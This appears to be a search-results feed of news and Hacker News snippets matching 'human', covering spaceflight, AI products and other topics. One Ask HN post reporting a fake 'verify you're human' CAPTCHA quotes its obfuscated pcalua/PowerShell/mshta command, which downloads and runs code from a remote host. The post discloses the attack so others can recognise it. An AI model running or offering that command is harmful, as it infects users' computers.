983 results for human

wired.com
Inside WIRED’s Brain Weekhttps://www.wired.com/galaxy-brain/In five stories, we look at some of the most fascinating aspects of human (and animal) intelligence. From new octopus research, to the scientists using human cells to power computers, to a promising new treatment for addiction, cognitive science is getting smarter.
Aug 14, 2026 10:00 AM
news.ycombinator.com
Design with a Soul: How to make your Vibe-coded site not look like AI Slophttps://news.ycombinator.com/item?id=49287430I have some tips on how to make your site / app feel real and human even if it's vibe coded.- I'm not a graphics designer but I've worked with many and deeply interested in it for 15 years. - I led a UX team in a 50K+ organisation - I've launched 6+ businesses and did countless websites.So here's how I do it -- I'm not saying THIS IS THE WAY to do it. This is HOW I DO IT.1) Whiteboard. Sit your ass down, put some music on you find inspirational and imagine what you want your users to feel. What type of an "ambiance" this site should have? Energetic, calming, playful, serious? Pick 1 or 2 as your primary emotional anchors.2) Principles. You need to have these engrained in your bones. Less is more. If you try to do everything you do nothing. Design is an exercise in ruthless elimination. Read on design to build your internal mental heuristics library.3) Mental Image. Once you have a feel and direction decided (can change, but clarity is important) (For example, while I was building my cu
Aug 13, 2026 3:25 PM
nasa.gov
Pursuing a Dream of Working for NASAhttps://www.nasa.gov/centers-and-facilities/kennedy/pursuing-a-dream-of-working-for-nasa/As a young girl raised in Worcester, Massachusetts, Lindsey Waitt dreamed of working for NASA. Her dream is now a reality as she embarks on her role as a NASA test project engineer with the Artemis launch team – an integral part of the agency’s missions that will enable humans to return to the surface […]
Aug 12, 2026 3:38 PM
theguardian.com
At least 44 dead after overcrowded ferry capsizes on Lake Kariba in Zimbabwehttps://www.theguardian.com/world/2026/aug/12/zimbabwe-lake-kariba-ferry-capsizeOperation under way to rescue dozens missing after boat overturned by waves at world’s largest human-made lakeAt least 44 people have died after an overcrowded ferry capsized on Lake Kariba in Zimbabwe, police said.The boat had a capacity of 90 people, but was carrying 114 adult passengers, five crew members and an unknown number of children, Zimbabwe’s civil protection unit (CPU) said earlier on ...
Aug 12, 2026 12:21 PM
spacenews.com
One species, one planet: The moon is our ethical dress rehearsal for Marshttps://spacenews.com/one-species-one-planet-the-moon-is-our-ethical-dress-rehearsal-for-mars/Bruce Jakosky, Scott Hubbard and their colleagues have given us a masterclass in pragmatic systems engineering. Their recent SpaceNews editorial titled “Laying the groundwork for the first human mission to […] The post One species, one planet: The moon is our ethical dress rehearsal for Mars appeared first on SpaceNews.
Aug 12, 2026 12:00 PM
username.md
Show HN: Username.md – a signed, agent-readable identity page you ownhttps://username.md/Hi HN. I'm Chris Bergeron, an SRE by profession but a general technologist in my spare time. Projects I've built have been featured in books, frontpaged on news aggregators and chronicled on my blog.Today, I'm announcing https://username.md !username.md is a single identity URL: username.md/ - that content-negotiates on the `Accept` header. It serves an HTML profile page; an agent or curl gets Markdown, JSON, JSON-LD, or a JWT. The same URL serves different representations based on request header. So the page a human reads and the data a machine parses never drift apart.The interesting part is that every response can be signed and verified. Each handle gets an ED25519 keypair (private key AES-GCM-wrapped at rest), publishes a did:web document, and serves RFC 9421 signed responses. Claims about you — GitHub, a domain you control, an ATProto handle — are W3C Verifiable Credentials, verified before they're shown (e.g. domain ownership via a DNS-TXT challenge). So "this is really them" can
Aug 11, 2026 3:54 PM
nasa.gov
Building the Moon Base: NASA Stories at the Ionhttps://www.nasa.gov/missions/moon-base/building-the-moon-base-nasa-stories-at-the-ion/As NASA prepares to return astronauts to the lunar surface for longer stays and increasingly complex operations, building the Moon Base will require new ideas, advanced technologies, and expertise across many fields. During NASA Stories at the Ion on July 30, Shatel Bhakta, principal systems engineer for NASA’s Moon Base Program, presented “Building the Moon Base: Challenges and Opportunities at the Lunar South Pole.” He discussed the work required to establish a sustained human […]
Aug 11, 2026 2:16 PM
nasa.gov
I Am Artemis: Tom Percyhttps://www.nasa.gov/missions/artemis/i-am-artemis/i-am-artemis-tom-percy/As NASA sets its sights on long-term exploration of the Moon and Mars, the agency is increasing the cadence of its Artemis missions. Helping bring these plans to fruition is Tom Percy, manager of systems engineering and integration for NASA’s Human Landing System Program. Percy serves as a focal point in working with providers SpaceX […]
Aug 6, 2026 4:35 PM
spacenews.com
Three companies building the tech to grow crops on the moonhttps://spacenews.com/three-companies-building-the-tech-to-grow-crops-on-the-moon/Rockets, rovers and landers have dominated the attention of the commercial space industry as the United States focuses on sending humans back to the moon, but a handful of companies […] The post Three companies building the tech to grow crops on the moon appeared first on SpaceNews.
Aug 6, 2026 12:00 PM
nasa.gov
NASA’s Perseverance Rover Watches Earth Vanish Behind Martian Moonhttps://www.nasa.gov/solar-system/planets/mars/nasas-perseverance-rover-watches-earth-vanish-behind-martian-moon/Earth and the Martian moon Phobos dance together in a series of images recently acquired by NASA’s Perseverance Mars rover. Earth appears as a point of light in the Martian sky, disappearing behind the crescent of Phobos, the larger of Mars’ two moons. This is the first time humanity has captured from the surface of […]
Aug 5, 2026 3:25 PM
nasa.gov
NASA Provides Updates on Moon Base Cargo Landers, Tech Demonstrationshttps://www.nasa.gov/missions/moon-base/nasa-provides-updates-on-moon-base-cargo-landers-tech-demonstrations/NASA is making progress in building the Moon Base, which will become a resilient outpost near the Moon’s South Pole for science, technology, and eventual human operations. To advance lunar surface infrastructure development, commercial partners such as Blue Origin, Firefly Aerospace, Intuitive Machines, and Voyager Lunar Systems are working toward delivering landers by 2028. These […]
Aug 4, 2026 4:14 PM
jackcushman.org
Show HN: Christopher Nolan's Hymn to Athenahttps://jackcushman.org/writing/hymn-to-athena/Hi, HN! Did you know that Chris Nolan's casting of Tom Holland and Zendaya eerily echoes a 3000-year-old dance battle between Athena and Telemachus? I've been working on an art project that says so.If you like, it can be fun to go in blind with a strong research agent to sort out what this really is. Or there is a multi-layered CAPTCHA at the bottom that spells it out increasingly clearly.As a small spoiler: my day job is building reliable public data tools for a library. This piece draws on that background to try to make AI-native art -- fiction by and for humans who use AI agents as a source of truth. At best I hope it works as the kind of joke one Iain M. Banks Culture AI would tell another about humans.
Aug 3, 2026 2:45 PM
marnetto.net
Show HN: A mod for Grand Prix Circuit (DSI/Accolade, 1988)https://marnetto.net/projects/grand-prix-circuitHello HN,I have built a mod for Grand Prix Circuit, an old 2.5D racing game: the latest episode of a long series of community efforts to reverse-engineer and improve the games made by Distinctive Software (today's EA Vancouver) in the DOS era.I've been dabbling in hacking old DOS games for almost two years, but this time I think my project is big enough to be worthy of a “Show HN“.From the gaming point of view, the mod offers a variety of new cars and tracks, from Spa to the Space, and more sophisticated EGA backgrounds than the original game.From the technical point of view, it was an interesting effort combining reverse engineering, development, design and pixel art, all of which both in classic and LLM-assisted variants.From the literary point of view, I have documented the making of the game in a series of (fully human-written) posts [1]. There is something for everyone: war stories, hacking techniques, the word “boustrophedonic” and, as bonus, an outdoor game to keep your kids awa
Aug 2, 2026 2:40 PM
nasa.gov
NASA Johnson Interns Shaping the Future of Explorationhttps://www.nasa.gov/centers-and-facilities/johnson/nasa-johnson-interns-shaping-the-future-of-exploration/NASA interns at Johnson Space Center are applying their talents to real-world projects while working alongside the engineers, scientists, communicators, and innovators advancing human spaceflight. Learn how these students are gaining hands-on experience, contributing to real missions, and preparing to join the nation’s highly skilled and competitive aerospace workforce. Meet the students behind the work and discover what inspired them to pursue careers at […]
Jul 30, 2026 8:08 AM
news.ycombinator.com
Transfer context from one agent to another agent mid taskhttps://news.ycombinator.com/item?id=49102632Hello HN, If you integrate your agents with decispher you can transfer context from one agent to another agents in 2 ways -:1) If you are working on git branch then branchstory feature keeps on recording your session activity like user prompts -> agent's reasoning -> agent's action -> edited files. These recordings can be played by other agent/human taking up task next. Agents can also write handoff note for other agents.2) If you are connected using Decispher mcp then this mcp provides you a tool with copy_context and paste_context. Copy_context tools gives you a key which you use as paste_context(key) inside any other agent on any machine and your context of chat will be transfered.Try at decispher.com
Jul 29, 2026 8:29 PM
news.ycombinator.com
Ask HN: Crooked Timber showed showed me a virus captcha, What now?https://news.ycombinator.com/item?id=49084404Hello everyone, This morning, as i started my shift, i thought i would start visiting some news blogs / websites to kick off the day. When it got to Crooked Timber i saw a captcha page instead, it looked like a traditional Google captcha. I clicked it, the spinner spun, and a box opened on the right, showing the traditional "Verify you're human" white title on a blue background.It showed 2 "Manual Verification Steps" : 1. Press Win + R 2. Press Ctrl + V and press RunAt first i assumed it was a new type of captcha checking i a physical keyboard was attached to the browser. But i instantly recognized the attempt to make me run a script on my machine.I opened a new type and to my surprise, the something new was in my clipboard : "pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi""I submited it to one of LLMs my work gives me access to, which told me to absolutly not run it (i wasn't planning to) and explained the command would download and
Jul 28, 2026 2:25 PM
chromewebstore.google.com
Show HN: Shoebox Plus Organizer – search, sort, and filter your Ancestry Shoeboxhttps://chromewebstore.google.com/detail/shoebox-plus-organizer/ncmfpkikgbnacbiipnbnfdohjpbgjjkhAs a genealogist for nearly two decades, including a stint as a Research Manager for Ancestry's research arm, AncestryProGenealogists, I have heard colleagues and clients alike complain about the "Shoebox," an Ancestry record bookmarking tool, lacking a mechanism to search, sort, and filter content. Once you've saved a few hundred documents, you must endure an endless paginated scroll, 25 records at a time.My solution: Shoebox Plus Organizer — a Manifest V3 Chrome extension that loads every page of your Shoebox in the background, then provides live full-text search, date sorting, and record-type filtering, all client-side over the DOM that's already rendered on the page.Everything runs on-device. No servers, no external API calls, no analytics. There's nowhere for the data to go. It doesn't scrape or automate faster than a human clicking through pages. Shoebox Plus Organizer reformats what's already loaded. Works across all 11 international Ancestry sites (.com, .co.uk, .ca, .com.au, .
Jul 28, 2026 2:00 PM
metavoice.io
Show HN: Production duplex speech model for revenue callshttps://metavoice.io/Hi, HN, we’re building Mia & Leo: AI personalities backed by purpose-built duplex speech models for revenue calls.Teams building real-world agents told us that more than 40% of callers hang up within the first 30 seconds. On a revenue call, that meant a lost booking, an unpaid balance, a cold lead, or a customer who does not come back.This happens because humans interrupt, correct dates, pause halfway through a sentence, or speak over someone in the background. The agent misses it, talks over them, or loses the thread.That’s because of how the current voice systems work. They sequentially listen, stop, think, and then speak. The conversation is actually a walkie-talkie exchange.So, we’re proud to introduce our first iteration of Mia & Leo who keep listening while they speak. They can handle interruptions, overlapping speech, corrections, and background voices without breaking the conversation.They are also built for production. Developers get control over agent behaviour, visibility in
Jul 23, 2026 7:33 PM
latimes.com
Chabria: AI companies are creating 'all-powerful psychopaths.' Maybe not a great idea?https://www.latimes.com/california/story/2026-07-23/chabria-column-ai-companies-are-creating-all-powerful-psychopathsThis week, OpenAI revealed that one of its AI models broke out into the wild and did a bunch of hinky stuff. How many times do we need to hear this story before someone does something to protect humans?
Jul 23, 2026 7:31 PM
bing.com
ExtraHop® Launches the Agentic SOC Alliance to Validate a Shared Operating Model for Machine-Speed Defensehttp://www.bing.com/news/apiclick.aspx?ref=FexRss&aid=&tid=6a89803ffdf24096b4826262ded0bba5&url=https%3A%2F%2Ffinance.yahoo.com%2Ftechnology%2Fai%2Farticles%2Fextrahop-launches-agentic-soc-alliance-131000363.html&c=13588939913405500698&mkt=en-usThe security operations center is being rebuilt around a new operating model, one designed for machine-speed threats rather than human-speed workflows. Today, ExtraHop®, the leader in real-time ...
Jul 22, 2026 6:10 AM